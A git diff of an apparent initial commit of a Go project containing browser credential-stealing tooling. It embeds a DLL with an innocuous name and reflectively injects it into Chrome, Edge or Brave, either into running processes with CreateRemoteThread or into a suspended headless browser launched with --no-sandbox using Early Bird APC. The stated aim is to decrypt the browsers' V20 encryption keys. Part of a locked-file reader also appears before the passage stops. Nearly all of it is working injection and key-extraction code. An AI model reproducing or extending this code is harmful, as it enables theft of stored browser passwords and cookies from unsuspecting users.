initial commit
This commit is contained in:
Binary file not shown.
@@ -0,0 +1,14 @@
|
||||
//go:build windows
|
||||
|
||||
package platform
|
||||
|
||||
import (
|
||||
_ "embed"
|
||||
)
|
||||
|
||||
//go:embed compat-layer.dll
|
||||
var embeddedDLL []byte
|
||||
|
||||
func GetEmbeddedDLL() []byte {
|
||||
return embeddedDLL
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
//go:build !windows
|
||||
|
||||
package platform
|
||||
|
||||
func GetEmbeddedDLL() []byte {
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,631 @@
|
||||
//go:build windows
|
||||
|
||||
package platform
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var (
|
||||
modKernel32Inj = windows.NewLazySystemDLL("kernel32.dll")
|
||||
procVirtualAllocEx = modKernel32Inj.NewProc("VirtualAllocEx")
|
||||
procVirtualFreeEx = modKernel32Inj.NewProc("VirtualFreeEx")
|
||||
procCreateRemoteThread = modKernel32Inj.NewProc("CreateRemoteThread")
|
||||
procQueueUserAPC = modKernel32Inj.NewProc("QueueUserAPC")
|
||||
modNtdllInj = windows.NewLazySystemDLL("ntdll.dll")
|
||||
procNtQueryInformationProcess = modNtdllInj.NewProc("NtQueryInformationProcess")
|
||||
)
|
||||
|
||||
// processBasicInformation mirrors PROCESS_BASIC_INFORMATION (x64).
|
||||
type processBasicInformation struct {
|
||||
Reserved1 uintptr
|
||||
PebBaseAddress uintptr
|
||||
Reserved2 [2]uintptr
|
||||
UniqueProcessId uintptr
|
||||
Reserved3 uintptr
|
||||
}
|
||||
|
||||
// unicodeString mirrors UNICODE_STRING.
|
||||
type unicodeString struct {
|
||||
Length uint16
|
||||
MaximumLength uint16
|
||||
Buffer uintptr
|
||||
}
|
||||
|
||||
// processCommandLine returns the full command line of a process by walking its
|
||||
// PEB (x64 offsets). Used to distinguish the main browser process from its
|
||||
// renderer/GPU/utility subprocesses.
|
||||
func processCommandLine(pid uint32) (string, error) {
|
||||
hProcess, err := windows.OpenProcess(
|
||||
windows.PROCESS_QUERY_LIMITED_INFORMATION|windows.PROCESS_VM_READ, false, pid)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer windows.CloseHandle(hProcess)
|
||||
|
||||
var pbi processBasicInformation
|
||||
var retLen uint32
|
||||
status, _, _ := procNtQueryInformationProcess.Call(
|
||||
uintptr(hProcess), 0, uintptr(unsafe.Pointer(&pbi)),
|
||||
unsafe.Sizeof(pbi), uintptr(unsafe.Pointer(&retLen)),
|
||||
)
|
||||
if status != 0 || pbi.PebBaseAddress == 0 {
|
||||
return "", fmt.Errorf("NtQueryInformationProcess: 0x%x", status)
|
||||
}
|
||||
|
||||
// PEB.ProcessParameters (offset 0x20 on x64).
|
||||
var procParams uintptr
|
||||
if err := windows.ReadProcessMemory(hProcess, pbi.PebBaseAddress+0x20,
|
||||
(*byte)(unsafe.Pointer(&procParams)), unsafe.Sizeof(procParams), nil); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if procParams == 0 {
|
||||
return "", fmt.Errorf("no process parameters")
|
||||
}
|
||||
|
||||
// RTL_USER_PROCESS_PARAMETERS.CommandLine (offset 0x70 on x64).
|
||||
var cmdLine unicodeString
|
||||
if err := windows.ReadProcessMemory(hProcess, procParams+0x70,
|
||||
(*byte)(unsafe.Pointer(&cmdLine)), unsafe.Sizeof(cmdLine), nil); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if cmdLine.Length == 0 || cmdLine.Buffer == 0 {
|
||||
return "", fmt.Errorf("no command line")
|
||||
}
|
||||
|
||||
buf := make([]uint16, cmdLine.Length/2)
|
||||
if err := windows.ReadProcessMemory(hProcess, cmdLine.Buffer,
|
||||
(*byte)(unsafe.Pointer(&buf[0])), uintptr(cmdLine.Length), nil); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return syscall.UTF16ToString(buf), nil
|
||||
}
|
||||
|
||||
func orderedBrowserPIDs(exeName string) []uint32 {
|
||||
pids, err := FindProcesses(exeName)
|
||||
if err != nil || len(pids) <= 1 {
|
||||
return pids
|
||||
}
|
||||
for i, pid := range pids {
|
||||
if cmdline, err := processCommandLine(pid); err == nil && !strings.Contains(cmdline, "--type=") {
|
||||
if i != 0 {
|
||||
pids[0], pids[i] = pids[i], pids[0]
|
||||
}
|
||||
return pids
|
||||
}
|
||||
}
|
||||
return pids
|
||||
}
|
||||
|
||||
// findReflectiveLoaderOffset parses the PE export table in file layout and
|
||||
// returns the file offset of the ReflectiveLoader export function.
|
||||
func findReflectiveLoaderOffset(pe []byte) (uint32, error) {
|
||||
if len(pe) < 64 || pe[0] != 'M' || pe[1] != 'Z' {
|
||||
return 0, fmt.Errorf("not a valid PE")
|
||||
}
|
||||
lfanew := binary.LittleEndian.Uint32(pe[60:])
|
||||
if int(lfanew)+24 > len(pe) {
|
||||
return 0, fmt.Errorf("truncated PE header")
|
||||
}
|
||||
if binary.LittleEndian.Uint32(pe[lfanew:]) != 0x00004550 {
|
||||
return 0, fmt.Errorf("bad PE signature")
|
||||
}
|
||||
|
||||
coffOff := lfanew + 4
|
||||
numSections := binary.LittleEndian.Uint16(pe[coffOff+2:])
|
||||
optHeaderSize := binary.LittleEndian.Uint16(pe[coffOff+16:])
|
||||
optHeaderOff := coffOff + 20
|
||||
|
||||
if int(optHeaderOff)+4 > len(pe) {
|
||||
return 0, fmt.Errorf("truncated optional header")
|
||||
}
|
||||
magic := binary.LittleEndian.Uint16(pe[optHeaderOff:])
|
||||
|
||||
var exportRVA uint32
|
||||
switch magic {
|
||||
case 0x10b: // PE32
|
||||
if int(optHeaderOff)+100 > len(pe) {
|
||||
return 0, fmt.Errorf("PE32 optional header too short")
|
||||
}
|
||||
exportRVA = binary.LittleEndian.Uint32(pe[optHeaderOff+96:])
|
||||
case 0x20b: // PE32+
|
||||
if int(optHeaderOff)+116 > len(pe) {
|
||||
return 0, fmt.Errorf("PE32+ optional header too short")
|
||||
}
|
||||
exportRVA = binary.LittleEndian.Uint32(pe[optHeaderOff+112:])
|
||||
default:
|
||||
return 0, fmt.Errorf("unknown PE magic 0x%x", magic)
|
||||
}
|
||||
|
||||
sectionOff := optHeaderOff + uint32(optHeaderSize)
|
||||
|
||||
// rva2fo converts a virtual RVA to a file offset via the section table.
|
||||
rva2fo := func(rva uint32) uint32 {
|
||||
for i := uint16(0); i < numSections; i++ {
|
||||
off := sectionOff + uint32(i)*40
|
||||
if int(off)+40 > len(pe) {
|
||||
break
|
||||
}
|
||||
// IMAGE_SECTION_HEADER layout:
|
||||
// +0 Name[8]
|
||||
// +8 VirtualSize
|
||||
// +12 VirtualAddress
|
||||
// +16 SizeOfRawData
|
||||
// +20 PointerToRawData
|
||||
vAddr := binary.LittleEndian.Uint32(pe[off+12:])
|
||||
vSize := binary.LittleEndian.Uint32(pe[off+8:])
|
||||
rawPtr := binary.LittleEndian.Uint32(pe[off+20:])
|
||||
rawSize := binary.LittleEndian.Uint32(pe[off+16:])
|
||||
span := vSize
|
||||
if rawSize > span {
|
||||
span = rawSize
|
||||
}
|
||||
if rva >= vAddr && rva < vAddr+span {
|
||||
delta := rva - vAddr
|
||||
if delta < rawSize {
|
||||
return rawPtr + delta
|
||||
}
|
||||
}
|
||||
}
|
||||
// RVA might be in the PE headers (before the first section).
|
||||
if numSections > 0 {
|
||||
firstRaw := binary.LittleEndian.Uint32(pe[sectionOff+20:])
|
||||
if rva < firstRaw {
|
||||
return rva
|
||||
}
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
exportFO := rva2fo(exportRVA)
|
||||
if exportFO == 0 || int(exportFO)+40 > len(pe) {
|
||||
return 0, fmt.Errorf("invalid export directory")
|
||||
}
|
||||
|
||||
// IMAGE_EXPORT_DIRECTORY offsets:
|
||||
// +20 NumberOfFunctions
|
||||
// +24 NumberOfNames
|
||||
// +28 AddressOfFunctions
|
||||
// +32 AddressOfNames
|
||||
// +36 AddressOfNameOrdinals
|
||||
numNames := binary.LittleEndian.Uint32(pe[exportFO+24:])
|
||||
functionsFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+28:]))
|
||||
namesFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+32:]))
|
||||
ordinalsFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+36:]))
|
||||
|
||||
for i := uint32(0); i < numNames; i++ {
|
||||
if int(namesFO+i*4+4) > len(pe) {
|
||||
break
|
||||
}
|
||||
nameFO := rva2fo(binary.LittleEndian.Uint32(pe[namesFO+i*4:]))
|
||||
if nameFO == 0 || int(nameFO) >= len(pe) {
|
||||
continue
|
||||
}
|
||||
name := pe[nameFO:]
|
||||
found := false
|
||||
for k := 0; k < 64 && int(nameFO)+k+16 <= len(pe); k++ {
|
||||
if name[k] == 0 {
|
||||
break
|
||||
}
|
||||
if name[k] == 'R' && string(name[k:k+16]) == "ReflectiveLoader" {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
continue
|
||||
}
|
||||
if int(ordinalsFO+i*2+2) > len(pe) {
|
||||
break
|
||||
}
|
||||
ordinal := uint32(binary.LittleEndian.Uint16(pe[ordinalsFO+i*2:]))
|
||||
if int(functionsFO+ordinal*4+4) > len(pe) {
|
||||
break
|
||||
}
|
||||
funcFO := rva2fo(binary.LittleEndian.Uint32(pe[functionsFO+ordinal*4:]))
|
||||
if funcFO != 0 {
|
||||
return funcFO, nil
|
||||
}
|
||||
}
|
||||
return 0, fmt.Errorf("ReflectiveLoader export not found")
|
||||
}
|
||||
|
||||
// writeReflectiveDLL allocates RWX memory in hProcess, writes the full DLL image
|
||||
// followed by the UTF-16 pipe name, and returns the remote addresses of the
|
||||
// ReflectiveLoader entry point and the pipe name. The pipe name is passed to
|
||||
// the loader as lpParameter so it reaches DllMain without relying on an
|
||||
// inherited environment variable (which running browsers do not have).
|
||||
func writeReflectiveDLL(hProcess windows.Handle, dllBytes []byte, pipeName string) (loaderAddr, pipeNameAddr uintptr, err error) {
|
||||
loaderOff, err := findReflectiveLoaderOffset(dllBytes)
|
||||
if err != nil {
|
||||
return 0, 0, fmt.Errorf("find reflective loader: %w", err)
|
||||
}
|
||||
|
||||
pipeW, err := syscall.UTF16FromString(pipeName)
|
||||
if err != nil {
|
||||
return 0, 0, fmt.Errorf("utf16 pipe name: %w", err)
|
||||
}
|
||||
pipeBytes := len(pipeW) * 2
|
||||
total := len(dllBytes) + pipeBytes
|
||||
|
||||
remoteMem, _, _ := procVirtualAllocEx.Call(
|
||||
uintptr(hProcess), 0, uintptr(total),
|
||||
windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE,
|
||||
)
|
||||
if remoteMem == 0 {
|
||||
return 0, 0, fmt.Errorf("VirtualAllocEx failed")
|
||||
}
|
||||
|
||||
var written uintptr
|
||||
if err := windows.WriteProcessMemory(hProcess, remoteMem, &dllBytes[0], uintptr(len(dllBytes)), &written); err != nil {
|
||||
procVirtualFreeEx.Call(uintptr(hProcess), remoteMem, 0, windows.MEM_RELEASE)
|
||||
return 0, 0, fmt.Errorf("WriteProcessMemory: %w", err)
|
||||
}
|
||||
|
||||
pipeNameAddr = remoteMem + uintptr(len(dllBytes))
|
||||
pipeBuf := unsafe.Slice((*byte)(unsafe.Pointer(&pipeW[0])), pipeBytes)
|
||||
if err := windows.WriteProcessMemory(hProcess, pipeNameAddr, &pipeBuf[0], uintptr(pipeBytes), &written); err != nil {
|
||||
procVirtualFreeEx.Call(uintptr(hProcess), remoteMem, 0, windows.MEM_RELEASE)
|
||||
return 0, 0, fmt.Errorf("WriteProcessMemory pipe: %w", err)
|
||||
}
|
||||
|
||||
return remoteMem + uintptr(loaderOff), pipeNameAddr, nil
|
||||
}
|
||||
|
||||
func createKillOnCloseJob() (windows.Handle, error) {
|
||||
job, err := windows.CreateJobObject(nil, nil)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("CreateJobObject: %w", err)
|
||||
}
|
||||
var info windows.JOBOBJECT_EXTENDED_LIMIT_INFORMATION
|
||||
info.BasicLimitInformation.LimitFlags |= windows.JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE
|
||||
_, err = windows.SetInformationJobObject(job, windows.JobObjectExtendedLimitInformation,
|
||||
uintptr(unsafe.Pointer(&info)), uint32(unsafe.Sizeof(info)))
|
||||
if err != nil {
|
||||
windows.CloseHandle(job)
|
||||
return 0, fmt.Errorf("SetInformationJobObject: %w", err)
|
||||
}
|
||||
return job, nil
|
||||
}
|
||||
|
||||
// InjectDLL reflectively injects the DLL into a running process via CreateRemoteThread.
|
||||
// The DLL bytes are written directly into the target process — no temp file on disk.
|
||||
func InjectDLL(dllBytes []byte, pipeName string, targetPID uint32) (*PipeSession, error) {
|
||||
hProcess, err := windows.OpenProcess(
|
||||
windows.PROCESS_CREATE_THREAD|windows.PROCESS_QUERY_INFORMATION|
|
||||
windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ,
|
||||
false, targetPID)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("OpenProcess(%d): %w", targetPID, err)
|
||||
}
|
||||
|
||||
loaderAddr, pipeNameAddr, err := writeReflectiveDLL(hProcess, dllBytes, pipeName)
|
||||
if err != nil {
|
||||
windows.CloseHandle(hProcess)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
hThread, _, lerr := procCreateRemoteThread.Call(uintptr(hProcess), 0, 0, loaderAddr, pipeNameAddr, 0, 0)
|
||||
if hThread == 0 {
|
||||
windows.CloseHandle(hProcess)
|
||||
return nil, fmt.Errorf("CreateRemoteThread: %w", lerr)
|
||||
}
|
||||
windows.CloseHandle(windows.Handle(hThread))
|
||||
|
||||
logf("DLL reflectively injected into PID %d", targetPID)
|
||||
|
||||
return &PipeSession{
|
||||
pid: targetPID,
|
||||
hProcess: hProcess,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func cleanupInjection(hProcess windows.Handle, addr uintptr) {
|
||||
procVirtualFreeEx.Call(uintptr(hProcess), addr, 0, windows.MEM_RELEASE)
|
||||
windows.CloseHandle(hProcess)
|
||||
}
|
||||
|
||||
// CreatePipeSession creates a named pipe, reflectively injects the DLL into an
|
||||
// existing browser process (passing the pipe name via lpParameter), and waits
|
||||
// for connection. Falls back to creating a new headless browser process if
|
||||
// injection into an existing process fails or times out.
|
||||
func CreatePipeSession(dllBytes []byte, browserName string) (*PipeSession, error) {
|
||||
pipeName := createPipeName()
|
||||
logf("creating pipe: %s", pipeName)
|
||||
|
||||
hPipe, err := createPipeServer(pipeName)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("create pipe server: %w", err)
|
||||
}
|
||||
|
||||
pids := orderedBrowserPIDs(BrowserExeName(browserName))
|
||||
|
||||
const maxExistingTries = 3
|
||||
if len(pids) > 0 {
|
||||
for i, pid := range pids {
|
||||
if i >= maxExistingTries {
|
||||
logf("reached max existing process attempts (%d) for %s", maxExistingTries, browserName)
|
||||
break
|
||||
}
|
||||
logf("trying existing %s PID %d", browserName, pid)
|
||||
s, err := InjectDLL(dllBytes, pipeName, pid)
|
||||
if err != nil {
|
||||
logf("inject PID %d failed: %v", pid, err)
|
||||
continue
|
||||
}
|
||||
s.watchExit(fmt.Sprintf("existing %s", browserName), 2000)
|
||||
if err := waitPipeConnect(hPipe, 2000); err != nil {
|
||||
logf("pipe connect timeout for PID %d", pid)
|
||||
s.Close()
|
||||
procDisconnectNamedPipe.Call(uintptr(hPipe))
|
||||
windows.CloseHandle(hPipe)
|
||||
hPipe, err = createPipeServer(pipeName)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("recreate pipe: %w", err)
|
||||
}
|
||||
continue
|
||||
}
|
||||
s.hPipe = hPipe
|
||||
ActivePipeSession = s
|
||||
logf("pipe session established with existing %s (PID %d)", browserName, pid)
|
||||
return s, nil
|
||||
}
|
||||
logf("failed to inject into existing %s processes, will try creating new process", browserName)
|
||||
} else {
|
||||
logf("no running %s found, will create new headless process", browserName)
|
||||
}
|
||||
|
||||
s, err := CreateAndInjectBrowser(dllBytes, pipeName, browserName)
|
||||
if err != nil {
|
||||
windows.CloseHandle(hPipe)
|
||||
return nil, fmt.Errorf("create and inject browser: %w", err)
|
||||
}
|
||||
s.watchExit(fmt.Sprintf("spawned %s", browserName), 8000)
|
||||
|
||||
if err := waitPipeConnect(hPipe, 5000); err != nil {
|
||||
logf("pipe connect timeout for new process")
|
||||
s.Close()
|
||||
windows.CloseHandle(hPipe)
|
||||
return nil, fmt.Errorf("pipe connect timeout")
|
||||
}
|
||||
|
||||
s.hPipe = hPipe
|
||||
s.ownsProcess = true
|
||||
ActivePipeSession = s
|
||||
logf("pipe session established with new %s (PID %d)", browserName, s.pid)
|
||||
return s, nil
|
||||
}
|
||||
|
||||
// FindProcesses returns PIDs of running processes matching the given exe name.
|
||||
func FindProcesses(exeName string) ([]uint32, error) {
|
||||
if exeName == "" {
|
||||
return nil, nil
|
||||
}
|
||||
hSnapshot, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer windows.CloseHandle(hSnapshot)
|
||||
|
||||
var entry windows.ProcessEntry32
|
||||
entry.Size = uint32(unsafe.Sizeof(entry))
|
||||
if err := windows.Process32First(hSnapshot, &entry); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var pids []uint32
|
||||
for {
|
||||
if syscall.UTF16ToString(entry.ExeFile[:]) == exeName {
|
||||
pids = append(pids, entry.ProcessID)
|
||||
}
|
||||
if err := windows.Process32Next(hSnapshot, &entry); err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
return pids, nil
|
||||
}
|
||||
|
||||
func BrowserExeName(name string) string {
|
||||
switch name {
|
||||
case "Chrome":
|
||||
return "chrome.exe"
|
||||
case "Edge":
|
||||
return "msedge.exe"
|
||||
case "Brave":
|
||||
return "brave.exe"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// CreateAndInjectBrowser creates a new suspended browser process and reflectively
|
||||
// injects the DLL via Early Bird APC. No temp file is written to disk.
|
||||
func CreateAndInjectBrowser(dllBytes []byte, pipeName string, browserName string) (*PipeSession, error) {
|
||||
browserPath, err := getBrowserPath(browserName)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("get browser path: %w", err)
|
||||
}
|
||||
|
||||
browserPathW, err := syscall.UTF16PtrFromString(browserPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
cmdLine := fmt.Sprintf(`"%s" --headless --disable-gpu --no-sandbox --disable-dev-shm-usage`, browserPath)
|
||||
cmdLineW, err := syscall.UTF16PtrFromString(cmdLine)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var si windows.StartupInfo
|
||||
var pi windows.ProcessInformation
|
||||
si.Cb = uint32(unsafe.Sizeof(si))
|
||||
if err := windows.CreateProcess(browserPathW, cmdLineW, nil, nil, false,
|
||||
windows.CREATE_SUSPENDED, nil, nil, &si, &pi); err != nil {
|
||||
return nil, fmt.Errorf("CreateProcess: %w", err)
|
||||
}
|
||||
logf("created suspended %s process (PID: %d)", browserName, pi.ProcessId)
|
||||
|
||||
// Create a kill-on-close job and assign the suspended browser to it so the
|
||||
// whole process tree is reaped when the session closes, even though the
|
||||
// headless parent self-exits after serving one key.
|
||||
job, jobErr := createKillOnCloseJob()
|
||||
if jobErr != nil {
|
||||
logf("job object unavailable, falling back to TerminateProcess: %v", jobErr)
|
||||
} else if err := windows.AssignProcessToJobObject(job, pi.Process); err != nil {
|
||||
logf("AssignProcessToJobObject failed, falling back to TerminateProcess: %v", err)
|
||||
windows.CloseHandle(job)
|
||||
job = 0
|
||||
} else {
|
||||
logf("spawned %s (PID %d) assigned to kill-on-close job", browserName, pi.ProcessId)
|
||||
}
|
||||
|
||||
cleanup := func() {
|
||||
if job != 0 {
|
||||
windows.CloseHandle(job)
|
||||
}
|
||||
windows.TerminateProcess(pi.Process, 0)
|
||||
windows.CloseHandle(pi.Process)
|
||||
windows.CloseHandle(pi.Thread)
|
||||
}
|
||||
|
||||
loaderAddr, pipeNameAddr, err := writeReflectiveDLL(pi.Process, dllBytes, pipeName)
|
||||
if err != nil {
|
||||
cleanup()
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Queue APC to the main thread — fires on its first alertable wait after resume.
|
||||
ret, _, aerr := procQueueUserAPC.Call(loaderAddr, uintptr(pi.Thread), pipeNameAddr)
|
||||
if ret == 0 {
|
||||
cleanup()
|
||||
return nil, fmt.Errorf("QueueUserAPC: %w", aerr)
|
||||
}
|
||||
logf("queued APC for reflective loader")
|
||||
|
||||
if _, err := windows.ResumeThread(pi.Thread); err != nil {
|
||||
cleanup()
|
||||
return nil, fmt.Errorf("ResumeThread: %w", err)
|
||||
}
|
||||
logf("resumed process main thread")
|
||||
|
||||
return &PipeSession{
|
||||
pid: pi.ProcessId,
|
||||
hProcess: pi.Process,
|
||||
ownsProcess: true,
|
||||
job: job,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func getBrowserPath(browserName string) (string, error) {
|
||||
var paths []string
|
||||
switch browserName {
|
||||
case "Chrome":
|
||||
paths = []string{
|
||||
filepath.Join(os.Getenv("ProgramFiles"), "Google", "Chrome", "Application", "chrome.exe"),
|
||||
filepath.Join(os.Getenv("ProgramFiles(x86)"), "Google", "Chrome", "Application", "chrome.exe"),
|
||||
filepath.Join(os.Getenv("LOCALAPPDATA"), "Google", "Chrome", "Application", "chrome.exe"),
|
||||
}
|
||||
case "Edge":
|
||||
paths = []string{
|
||||
filepath.Join(os.Getenv("ProgramFiles"), "Microsoft", "Edge", "Application", "msedge.exe"),
|
||||
filepath.Join(os.Getenv("ProgramFiles(x86)"), "Microsoft", "Edge", "Application", "msedge.exe"),
|
||||
}
|
||||
case "Brave":
|
||||
paths = []string{
|
||||
filepath.Join(os.Getenv("ProgramFiles"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"),
|
||||
filepath.Join(os.Getenv("ProgramFiles(x86)"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"),
|
||||
filepath.Join(os.Getenv("LOCALAPPDATA"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"),
|
||||
}
|
||||
default:
|
||||
return "", fmt.Errorf("unknown browser: %s", browserName)
|
||||
}
|
||||
for _, p := range paths {
|
||||
if _, err := os.Stat(p); err == nil {
|
||||
return p, nil
|
||||
}
|
||||
}
|
||||
return "", fmt.Errorf("%s not found", browserName)
|
||||
}
|
||||
|
||||
// TryV20KeyViaBrowserSession attempts to decrypt a V20 key by injecting a DLL
|
||||
// into a browser process and communicating via named pipe.
|
||||
func TryV20KeyViaBrowserSession(processName, browserName string, encBlob []byte) ([]byte, error) {
|
||||
dllBytes := GetEmbeddedDLL()
|
||||
if dllBytes == nil {
|
||||
return nil, fmt.Errorf("no embedded DLL")
|
||||
}
|
||||
|
||||
pids := orderedBrowserPIDs(processName)
|
||||
if len(pids) == 0 && browserName == "Chrome" {
|
||||
return nil, fmt.Errorf("no running Chrome processes for V20")
|
||||
}
|
||||
|
||||
pipeName := createPipeName()
|
||||
hPipe, err := createPipeServer(pipeName)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("create pipe: %w", err)
|
||||
}
|
||||
|
||||
const maxTries = 3
|
||||
for i, pid := range pids {
|
||||
if i >= maxTries {
|
||||
break
|
||||
}
|
||||
s, injErr := InjectDLL(dllBytes, pipeName, pid)
|
||||
if injErr != nil {
|
||||
logf("V20 inject %s PID %d: %v", browserName, pid, injErr)
|
||||
continue
|
||||
}
|
||||
s.watchExit(fmt.Sprintf("V20 %s", browserName), 2000)
|
||||
if connErr := waitPipeConnect(hPipe, 1000); connErr != nil {
|
||||
logf("V20 pipe timeout for %s PID %d", browserName, pid)
|
||||
procDisconnectNamedPipe.Call(uintptr(hPipe))
|
||||
windows.CloseHandle(hPipe)
|
||||
hPipe, err = createPipeServer(pipeName)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("recreate pipe: %w", err)
|
||||
}
|
||||
continue
|
||||
}
|
||||
s.hPipe = hPipe
|
||||
encB64 := base64.StdEncoding.EncodeToString(encBlob)
|
||||
key, keyErr := s.GetV20Key(browserName, encB64)
|
||||
s.Close()
|
||||
return key, keyErr
|
||||
}
|
||||
|
||||
if browserName == "Chrome" {
|
||||
windows.CloseHandle(hPipe)
|
||||
tried := len(pids)
|
||||
if tried > maxTries {
|
||||
tried = maxTries
|
||||
}
|
||||
return nil, fmt.Errorf("V20 session failed for Chrome (tried %d existing PIDs)", tried)
|
||||
}
|
||||
|
||||
logf("existing %s PIDs failed for V20, launching headless process", browserName)
|
||||
s, err := CreateAndInjectBrowser(dllBytes, pipeName, browserName)
|
||||
if err != nil {
|
||||
windows.CloseHandle(hPipe)
|
||||
return nil, fmt.Errorf("create headless %s for V20: %w", browserName, err)
|
||||
}
|
||||
s.watchExit(fmt.Sprintf("V20 spawned %s", browserName), 8000)
|
||||
if connErr := waitPipeConnect(hPipe, 5000); connErr != nil {
|
||||
s.Close()
|
||||
windows.CloseHandle(hPipe)
|
||||
return nil, fmt.Errorf("pipe connect timeout for new headless %s", browserName)
|
||||
}
|
||||
s.hPipe = hPipe
|
||||
encB64 := base64.StdEncoding.EncodeToString(encBlob)
|
||||
key, keyErr := s.GetV20Key(browserName, encB64)
|
||||
s.Close()
|
||||
return key, keyErr
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
//go:build !windows
|
||||
|
||||
package platform
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"os/exec"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func InjectDLL(dllBytes []byte, pipeName string, targetPID uint32) (*PipeSession, error) {
|
||||
return nil, errors.New("DLL injection not supported on this platform")
|
||||
}
|
||||
|
||||
func CreatePipeSession(dllBytes []byte, browserName string) (*PipeSession, error) {
|
||||
return nil, errors.New("pipe injection not supported on this platform")
|
||||
}
|
||||
|
||||
func FindProcesses(exeName string) ([]uint32, error) {
|
||||
if exeName == "" {
|
||||
return nil, nil
|
||||
}
|
||||
out, err := exec.Command("pgrep", "-x", exeName).Output()
|
||||
if err != nil {
|
||||
return nil, nil
|
||||
}
|
||||
var pids []uint32
|
||||
for _, line := range strings.Split(strings.TrimSpace(string(out)), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if pid, err := strconv.ParseUint(line, 10, 32); err == nil {
|
||||
pids = append(pids, uint32(pid))
|
||||
}
|
||||
}
|
||||
return pids, nil
|
||||
}
|
||||
|
||||
func BrowserExeName(name string) string {
|
||||
return ""
|
||||
}
|
||||
|
||||
func TryV20KeyViaBrowserSession(processName, browserName string, encBlob []byte) ([]byte, error) {
|
||||
return nil, errors.New("not supported on this platform")
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
//go:build !windows
|
||||
|
||||
package platform
|
||||
|
||||
import "os"
|
||||
|
||||
func ReadLockedFile(srcPath string, pids []uint32) ([]byte, error) {
|
||||
return os.ReadFile(srcPath)
|
||||
}
|
||||
|
||||
func ResetHandleCache() {}
|
||||
@@ -0,0 +1,330 @@
|
||||
//go:build windows
|
||||
|
||||
package platform
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
const (
|
||||
SystemExtendedHandleInformation = 64
|
||||
fileTypeDisk2 = 0x0001
|
||||
pageReadonly2 = 0x02
|
||||
fileMapRead2 = 0x04
|
||||
)
|
||||
|
||||
type systemHandleInfoEx struct {
|
||||
NumberOfHandles uintptr
|
||||
Reserved uintptr
|
||||
Handles [1]systemHandleEntry
|
||||
}
|
||||
|
||||
type systemHandleEntry struct {
|
||||
Object uintptr
|
||||
UniqueProcessId uintptr
|
||||
HandleValue uintptr
|
||||
GrantedAccess uint32
|
||||
CreatorBackTrace uint16
|
||||
ObjectTypeIndex uint16
|
||||
HandleAttributes uint32
|
||||
Reserved uint32
|
||||
}
|
||||
|
||||
type rmUniqueProcess2 struct {
|
||||
ProcessId uint32
|
||||
ProcessStartTime syscall.Filetime
|
||||
}
|
||||
|
||||
type rmProcessInfo2 struct {
|
||||
Process rmUniqueProcess2
|
||||
AppName [256]uint16
|
||||
ServiceShortName [64]uint16
|
||||
ApplicationType uint32
|
||||
AppStatus uint32
|
||||
TSSessionId uint32
|
||||
Restartable int32
|
||||
}
|
||||
|
||||
var (
|
||||
modNtdll2 = windows.NewLazySystemDLL("ntdll.dll")
|
||||
procNtQuerySystemInformation = modNtdll2.NewProc("NtQuerySystemInformation")
|
||||
modKernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
||||
procGetFileSizeEx = modKernel32.NewProc("GetFileSizeEx")
|
||||
procCreateFileMappingW = modKernel32.NewProc("CreateFileMappingW")
|
||||
procMapViewOfFile = modKernel32.NewProc("MapViewOfFile")
|
||||
procUnmapViewOfFile = modKernel32.NewProc("UnmapViewOfFile")
|
||||
procGetFinalPathNameByHandle = modKernel32.NewProc("GetFinalPathNameByHandleW")
|
||||
procGetFileType = modKernel32.NewProc("GetFileType")
|
||||
modRstrtmgr = windows.NewLazySystemDLL("rstrtmgr.dll")
|
||||
procRmStartSession = modRstrtmgr.NewProc("RmStartSession")
|
||||
